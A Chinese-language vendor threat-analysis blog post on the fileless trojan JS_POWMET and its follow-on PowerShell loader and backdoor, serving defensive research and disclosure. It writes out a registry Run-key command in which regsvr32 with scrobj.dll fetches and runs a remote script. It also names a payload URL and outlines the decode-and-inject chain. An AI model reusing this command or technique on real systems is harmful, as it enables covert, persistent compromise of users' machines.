純無檔案式惡意程式 JS_POWMET, 90% 的感染案例在亞太區

最近,網路駭客開始專心研究如何在攻擊過程當中不留下痕跡,因此無檔案式惡意程式 (如最近的 SOREBRECT 勒索病毒) 未來將更加普遍。不過,這類惡意程式有很多只在潛入使用者系統時才不寫入檔案,但最後在執行真正的惡意程式時還是會在磁碟上產生檔案,所以純無檔案式的攻擊畢竟還是少數。因此,我們覺得有必要跟大家介紹一個新的木馬程式,叫做「JS_POWMET」(趨勢科技命名為 JS_POWMET.DE),該程式會利用 Windows 系統登錄中的開機自動執行機碼來進入電腦。其感染過程完全不會在磁碟上產生檔案,所以很難用沙盒模擬分析技術來加以偵測,同時也加深了資安人員的研究難度。

根據趨勢科技 Smart Protection Network (SPN) 全球威脅情報網所收到的初步資料顯示,感染 JS_POWMET 最嚴重的是亞太地區,將近 90% 的感染案例都來自該區域。

技術細節

Figure 1

 圖 1:JS_POWMET 感染過程示意圖。

儘管此木馬程式進入系統的確切管道還無法確定,但很可能是因為使用者瀏覽了惡意網站才下載到該木馬程式,或者是由其他惡意程式植入系統當中。但很肯定的是,當該惡意程式下載到系統上時,系統登錄當中就會出現以下機碼:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

COM+ = regsvr32 /s /n /u /i:{此處為 JS_POWMET 的下載網址} scrobj.dll

這個在開機時會自動啟動程式的系統登錄機碼將使得「regsvr32」這個系統程式到網路上下載 JS_POWMET 惡意程式。

以下是「regsvr32」程式的各個參數說明:

  1. /s = 安靜模式,告訴 regsvr32 不要顯示訊息
  2. /n = 告訴 regsvr32 不要使用 DllRegisterServer
  3. /u = 解除伺服器/物件的註冊
  4. /i  = 用來傳遞選擇性參數 (如URL 網址) 給 DLLinstall
  5. dll = Microsoft 的腳本執行元件

在這項技巧中,歹徒將惡意程式的網址當成參數傳給 regsvr32,讓 regsvr32 從該網址下載 JS_POWMET (這是一個內含惡意 JavaScript 的 XML 檔案)。歹徒就是利用這樣的方式讓 regsvr32 執行任何惡意腳本而不需將惡意檔案儲存到電腦系統上。不僅如此,每當受感染的電腦開機啟動時,都會自動從歹徒架設在網路上的幕後操縱 (C&C) 伺服器下載惡意檔案。

JS_POWMET 執行起來之後,會再去下載另一個 TROJ_PSINJECT 檔案 (趨勢科技命名為 TROJ_PSINJECT.A)。這是一個 PowerShell 腳本,需透過 PowerShell 工具來執行。接著 TROJ_PSINJECT 會連上下列網址:

https://bogerando.ru/favicon

來下載一個名叫「favicon」的檔案,接著,再利用 ReflectivePELoader 將「favicon」檔案解碼後的內容注入自己的執行程序當中 (這是一個專門用來將 EXE/DLL 注入執行程序的工具)。

其解開惡意程式碼的方式如下:惡意程式碼是採用 Base64 編碼,需使用 RC4 金鑰來解碼 (金鑰寫死在惡意程式碼當中)。解開後的字串其實是一段經由 GZIP 壓縮的內容,因此還要再經過 GZIP 解壓縮程序。解壓縮之後才是提供給 ReflectivePELoader 載入的程式碼。

此外,Favicon 會再經由前述的 RC4 金鑰解出一個名為 BKDR_ANDROM (趨勢科技命名為 BKDR_ANDROM.ETIN) 的惡意 DLL。就連這裡也都還是維持無檔案的形態,因為此 DLL 並不會儲存到電腦上,而是直接被注入 powershell.exe 執行程序當中。惡意程式的所有前述動作都是經由 PowerShell 指令來完成。

Figure 2

圖 2:從 TROJ_PSINJECT 程式碼可看出解碼的過程。

BKDR_ANDROM 如果發現 powershell.exe 正在系統內執行,就會將它終止。此外,它還會蒐集以下資料:

  • 根磁碟區 (Root Volume) 序號
  • 作業系統版本
  • 本地端 IP 位址
  • 系統管理員權限

惡意程式會在系統登錄當中插入機碼來確保自己在系統開機時會自動執行。這個開機自動執行機碼能夠解開 Base64 編碼的 PowerShell 指令,進而解開加密的二進位資料 (同樣儲存在系統登錄當中,由惡意程式所插入),解開之後就是 BKDR_ANDROM 的惡意程式碼。解密動作完成之後,解開的惡意程式碼就會被執行。雖然此案例最終只是執行 BKDR_ANDROM 後門程式的惡意行為而已,但未來駭客也可能執行其他惡意程式。

結論

儘管 JS_POWMET 本身以及它所下載的後續檔案所造成的損害還算輕微,但此它讓我們見到網路犯罪集團如何處心積慮地想要避開資安軟體的偵測和分析。還有一點就是,連這類不常見的無檔案式感染方法也仍在不斷演進。因此,企業和一般使用者都應隨時保持警戒,而且不能光只注意惡意檔案,還要留意是否有一些能夠偷偷潛入系統而不被發現的隱匿惡意程式。

要有效防範這類無檔案式惡意程式,其中一種方法就是針對企業基礎架構實施存取管制,透過一些容器式系統將端點裝置與重要的網路隔離。針對本文介紹的惡意程式,IT 人員也可停用 PowerShell 工具來加以防範,讓 JS_POWMET 後續下載的程式無法執行。

趨勢科技解決方案

無檔案式惡意程式的設計就是要讓資安軟體更難加以偵測,因此,企業必須建置多層式防護才能多一層保障。趨勢科技端點防護產品,如:趨勢科技PC-cillin雲端版、 趨勢科技 OfficeScan™以及Worry-Free Pro皆內含行為監控功能,因此可偵測這類惡意程式,不僅能協助企業發掘惡意行為並且能從中加以攔截,不讓惡意程式執行。

 

以下是本文相關的雜湊碼:

  • 7004b6c1829a745002feb7fbb0aad1a4d32c640a6c257dc8d0c39ce7b63b58cc (TROJ_PSINJECT.A)
  • e27f417b96a33d8449f6cf00b8306160e2f1b845ca2c9666081166620651a3ae (JS_POWMET.DE)
  • bff21cbf95da5f3149c67f2c0f2576a6de44fa9d0cb093259c9a5db919599940 (BKDR_ANDROM.ETIN)

 

原文出處:A Look at JS_POWMET, a Completely Fileless Malware 作者:Michael Villanueva

 

Windows10Banner-540x90v5